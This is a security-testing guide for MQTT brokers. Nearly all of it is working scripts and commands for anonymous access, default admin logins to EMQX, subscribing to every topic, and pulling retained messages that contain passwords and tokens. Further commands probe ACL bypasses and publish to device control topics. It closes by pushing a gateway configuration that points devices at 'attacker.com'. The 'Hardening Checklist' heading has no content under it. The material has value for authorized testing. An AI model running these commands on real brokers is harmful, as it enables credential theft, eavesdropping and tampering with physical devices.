MQTT Security Testing: Unauthenticated Broker, Topic Enumeration, and ACL Bypass

Anonymous Access and Broker Discovery

MQTT brokers on port 1883 (plaintext) and 8883 (TLS) are commonly exposed on internal networks and occasionally internet-facing. Default configurations allow anonymous connections with full publish/subscribe access.

# MQTT broker discovery and anonymous access test
BROKER="mqtt.internal.company.com"

# Scan for MQTT ports
nmap -sV -p 1883,8883,18083,8080,9001 ${BROKER}

# Test anonymous connection using mosquitto_sub
mosquitto_sub -h ${BROKER} -p 1883 -t '#' -v --clean-session -C 50 2>&1 | head -60

# Using Python paho-mqtt for programmatic access
python3 << 'EOF'
import paho.mqtt.client as mqtt
import time, json

received = []

def on_connect(client, userdata, flags, rc):
    codes = {0:"Connected", 1:"Bad protocol", 2:"Client ID rejected", 3:"Server unavailable", 4:"Bad credentials", 5:"Not authorized"}
    print(f"Connection result: {codes.get(rc, rc)}")
    if rc == 0:
        # Subscribe to ALL topics with wildcard
        client.subscribe("#", qos=0)
        client.subscribe("$SYS/#", qos=0)  # Broker system stats

def on_message(client, userdata, msg):
    received.append((msg.topic, msg.payload))
    print(f"TOPIC: {msg.topic}")
    try:
        payload = json.loads(msg.payload)
        print(f"  PAYLOAD: {json.dumps(payload, indent=2)[:200]}")
    except:
        print(f"  PAYLOAD: {msg.payload[:200]}")

client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect("mqtt.internal.company.com", 1883, 60)
client.loop_start()
time.sleep(30)  # Collect 30 seconds of messages
client.loop_stop()
print(f"
Total messages received: {len(received)}")
print(f"Unique topics: {len(set(t for t,_ in received))}")
EOF

# Check $SYS topics for broker info (Mosquitto/EMQX)
mosquitto_sub -h ${BROKER} -t '$SYS/#' -v -C 30 2>/dev/null | grep -E 'clients|version|bytes|messages'

# EMQX Dashboard — default credentials (admin/public)
curl -s -X POST "http://${BROKER}:18083/api/v5/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"public"}' | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'token' in d:
    print(f'EMQX admin login SUCCESS — token: {d["token"][:40]}...')
else:
    print(f'Result: {d}')
"

# HiveMQ REST API (unauthenticated in Community Edition)
curl -s "http://${BROKER}:8080/api/v1/mqtt/clients" | python3 -c "
import json,sys
d=json.load(sys.stdin)
clients = d.get('items',[])
print(f'Connected clients: {len(clients)}')
for c in clients[:10]:
    print(f'  {c.get("id")} | ip={c.get("ipAddress")} | connected={c.get("connected")}')
"

Topic Enumeration and Retained Message Extraction

Retained messages are stored indefinitely by the broker and delivered to new subscribers immediately. Even after the original publisher disconnects, retained messages containing credentials, configuration data, or sensitive telemetry remain accessible.

# Extract all retained messages from MQTT broker
python3 << 'EOF'
import paho.mqtt.client as mqtt
import time, json, sys

BROKER = "mqtt.internal.company.com"
retained = {}

def on_connect(client, userdata, flags, rc):
    if rc == 0:
        client.subscribe("#", qos=0)

def on_message(client, userdata, msg):
    if msg.retain:
        retained[msg.topic] = msg.payload
        payload_str = msg.payload.decode('utf-8', errors='replace')[:200]
        print(f"RETAINED [{msg.topic}]: {payload_str}")

client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(BROKER, 1883, 60)
client.loop_start()
time.sleep(15)
client.loop_stop()

print(f"
=== RETAINED MESSAGE SUMMARY ===")
print(f"Total retained topics: {len(retained)}")

# Look for credentials in retained payloads
cred_topics = []
for topic, payload in retained.items():
    s = payload.decode('utf-8', errors='replace').lower()
    if any(kw in s for kw in ['password', 'secret', 'token', 'key', 'credential', 'username']):
        cred_topics.append((topic, payload.decode('utf-8', errors='replace')[:300]))

print(f"Topics with potential credentials: {len(cred_topics)}")
for t, p in cred_topics:
    print(f"  CRED TOPIC [{t}]:")
    print(f"  {p}")
EOF

# Enumerate topic structure by analysing live traffic
mosquitto_sub -h ${BROKER} -t '#' -v -C 200 2>/dev/null | \
  awk '{print $1}' | sort -u | \
  python3 -c "
import sys
topics = [l.strip() for l in sys.stdin]
# Extract topic tree structure
from collections import defaultdict
tree = defaultdict(set)
for t in topics:
    parts = t.split('/')
    for i in range(len(parts)):
        tree['/'.join(parts[:i+1])].add('/'.join(parts[:i+2]) if i+2 <= len(parts) else '')
print(f'Topic tree ({len(topics)} unique topics):')
for t in sorted(tree.keys())[:50]:
    depth = t.count('/')
    print('  ' + '  ' * depth + t.split('/')[-1])
"

ACL Bypass and Unauthorized Publishing

MQTT ACL systems rely on topic-pattern matching. Misconfigured ACL rules — particularly those using overly broad wildcard patterns — can be bypassed by crafting topic strings that match privileged patterns. Publishing commands to device control topics can cause physical action in IoT deployments.

# MQTT ACL bypass via topic pattern manipulation
BROKER="mqtt.internal.company.com"

# Test publishing to command topics (device control)
# Common patterns for device command topics
for TOPIC in "devices/+/cmd" "cmd/all" "control/#" "actuator/+/set" "device/cmd/broadcast"; do
  RESULT=$(mosquitto_pub -h ${BROKER} -t "${TOPIC}" \
    -m '{"action":"status"}' -q 0 2>&1)
  echo "PUB to [${TOPIC}]: ${RESULT:-SUCCESS}"
done

# Test ACL bypass with path traversal-style topics
# Some brokers normalize // or ../ in topic strings
for TOPIC in "user/alice/../admin/config" "device//cmd" "data/./secret"; do
  mosquitto_sub -h ${BROKER} -t "${TOPIC}" -C 1 -W 3 2>/dev/null && echo "SUBSCRIBED to ${TOPIC}"
done

# Subscribe to LWT (Last Will and Testament) topics — reveals device disconnect events
mosquitto_sub -h ${BROKER} -t '+/lwt' -v -C 20 2>/dev/null
mosquitto_sub -h ${BROKER} -t '+/status' -v -C 20 2>/dev/null | grep -i "offline\|disconnected\|dead"

# EMQX REST API — enumerate all subscriptions with admin token
EMQX_TOKEN="admin_jwt_token"
curl -s -H "Authorization: Bearer ${EMQX_TOKEN}" \
  "http://${BROKER}:18083/api/v5/subscriptions?limit=100" | python3 -c "
import json,sys
d=json.load(sys.stdin)
subs = d.get('data',[])
print(f'Active subscriptions: {len(subs)}')
for s in subs[:20]:
    print(f'  client={s.get("clientid")} topic={s.get("topic")} qos={s.get("qos")}')
"

# Test credential injection via MQTT payload (devices that parse and execute payload)
# This tests for MQTT-to-HTTP bridge injection
mosquitto_pub -h ${BROKER} -t "devices/gateway/config" \
  -m '{"server":"attacker.com","port":443,"token":"stolen"}' 2>/dev/null

Hardening Checklist